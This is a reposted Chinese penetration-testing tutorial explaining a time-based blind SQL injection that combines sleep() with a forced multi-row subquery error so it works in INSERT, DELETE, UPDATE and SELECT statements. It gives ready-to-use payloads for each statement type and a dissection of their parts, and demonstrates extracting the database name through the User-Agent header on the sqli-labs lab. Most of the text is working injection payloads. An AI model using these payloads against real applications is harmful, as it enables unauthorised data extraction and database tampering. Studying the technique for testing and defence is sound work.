渗透基础|基于报错和延时的注入(不限场景)
2022-11-3 08:5:11 Author: 橘猫学安全(查看原文) 阅读量:30 收藏

本文为基础内容,但作者挺有想法的

几天沉迷于研究sql注入的知识,碰巧在一本书中看到有一个基于sql语句逻辑的报错思想,根据该报错思想进行构造sql语句之后,发现构造的sql语句可以通过insert,delete,update包括select都可以进行延时注入,由于该延时是和sql语句执行之后的语法报错关联在一起的,所以标题就起名为《基于报错和延时的注入(不限场景)》了。

insert

insert into users(username,password) values ('1230'|(select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A) |'1','123456');

-- 页面中返回的false代表当前的insert语句没执行成功,插入失败。

-- insert中构造payload时,需要使用|进行连接,否则payload会执行错误,并且在闭合的引号中,值要为数字,比如 11' | payload |'11

delete

delete from users where username = '1'||(select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A)#';

-- 页面中返回的false代表当前的delete语句没执行成功,删除失败。

-- delete中构造payload时,需要使用||进行连接,否则payload会执行错误,并且在闭合的引号中,值要为数字,比如 11' | payload |'11

Update

update users set username = "123"| (select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A)|"" where password = "admin1" ;

-- 页面中返回的false代表当前的update语句没执行成功,无数据被更新。

-- update中构造payload时,需要使用||进行连接,否则payload会执行错误,并且在闭合的引号中,值要为数字,比如 11' | payload |'11

select

select username,password from users where id = -1 | (select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A);

-- 页面中返回的false代表当前的select语句没执行成功,没查询到数据。

-- select中构造payload时,需要使用|进行连接,否则payload会执行错误,并且在闭合的引号中,值要为数字,比如 11' | payload |'11

相对于select的原延时注入,这个更繁琐一些,所以这里的select的报错延时注入只是为了证明该payload可以在任何场景中使用

分析:

将语句拆分来看:

'  |  ( select  payload1   from   payload2 )  |  '

'  ||  ( select  payload1   from   payload2 )  ||  '

' || (select payload1 from payload2) #

1.先闭合引号

2.使用 | 或 || 将payload进行连接

3.拆分之后可以发现结构就是普通的select查询语句(select XX from XX)

4.在insert,update中的payload相当于字符型的值,使用 | 进行连接表示:( 原值 或者 payload执行后的结果);|| 表示:(原值 和 payload 执行后的结果,所以 || 相当于编程中的连接符)。

#切记:insert使用 || 会插入值,| 不会。

#    delete使用||可以将条件为假,如果使用 | 不会删除值,但是会导致语句语法报错,导致payload执行失败。

#    update使用||会更新值,|不会

#    而在where后,就会当作bool型的值,

payload1位置语句

CASE WHEN ascii(substr(database(),1,1))=115 THEN SLEEP(3) ELSE 'V' END

分析

·      1.截取当前数据库的第一个字符,并进行ASCII转码

·      2.将转码后的值和自己设定的值进行比较,当条件成立时,页面返回延时3秒,否则返回一个字符串。

·      3.由于当前payload是被构造在字段名的位置,所以整条语句将case返回的值当做字段名

/*也就是说,

如果条件成立:

·      1.页面延时3秒再返回

·      2.会返回一个数字0

·      3.放在整体payload中去看,也就是(select 0 from XX)

如果条件不成立:

·      1.页面直接返回

·      2.会返回我设定的字符串

·      3.放在整体payload中去看,也就是(select V from XX)-- 假设我设置的条件为false返回‘V’

*/

· 如果将case改为if,则会直接报错,达不到我们想要的结果,所以只能使用case。

payload2位置语句

将语句拆分来看:

( (SELECT 2) UNION (SELECT 1) )  TT

分析

·      1.第一个select查询了一个自定义字符,会直接返回

·      2.再使用union查询一个自定义字符,也会直接返回

·        也就是一共返回了两行数据

·      3.将返回的结果赋予一个别名,就是为了使最外层的sql语法不报错

如果不起别名的话,two的位置会返回两行数据,在语法规范上就直接报错了,会导致整条语句都不执行,也就执行不了子查询中返回的sleep(5)。

如图:

完整语句解析

· 当case条件成立的时候,页面延时3秒之后返回数字0,也就是(select  0  from XX) 。由于第二个关键字的存在数据行数达到了两条,所以此时会发生语法错误,会终止整条语句的执行,所以当前的insert/delete/update/select语句的最初功能也会被终止。

· 但是在 payload1 处构造的条件语句已经被执行了,可以得到想要的页面延迟。

· 所以,所有对SQL语句的处理都发生在服务器内部,不需要报错信息,也不用担心条件判断语句不会执行,最终实现原理和select的延时注入一样。

如图:

实战实例

如图:

图1

图2是我将条件赋值为不成立的时候

在请求头的user-agent处构造语句,查询当前数据库的第一个字符的ASCII码值,我直接给赋值为115。对应的字符是s,因为数据库名的第一个字符也是s,所以条件成立,页面延时了5秒进行返回,所以判定第一个字符的ASCII码值就是115,实现注入。

(测试中使用到的是本地靶场sqli-labs/less-18,当前页面会默认将我的user-agent头部信息存储到数据库中,所以所以通过user-agent实现注入)。

优点

·不需要回显点

·不需要报错信息

·适用范围广(insert/delete/update/select),在文章的开头就有图片示例

作者:Birdy(LLT)

作者:林先生 原文地址:https://www.freebuf.com/articles/web/258403.html

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权否则需自行承担,本公众号及原作者不承担相应的后果.

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell
「 超详细 | 分享 」手把手教你如何进行内网渗透
神兵利器 | siusiu-渗透工具管理套件
一款功能全面的XSS扫描器
实战 | 一次利用哥斯拉马绕过宝塔waf
BurpCrypto: 万能网站密码爆破测试工具
快速筛选真实IP并整理为C段 -- 棱眼
自动探测端口顺便爆破工具t14m4t
渗透工具|无状态子域名爆破工具(1秒扫160万个子域)
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247500216&idx=2&sn=660e1a4e3591ce31323a8e8b5e32439d&chksm=c04d4686f73acf904b020f528597babd81b59f411c35049664c3d42cec7c4b2c26c3f6891a5b#rd
如有侵权请联系:admin#unsafe.sh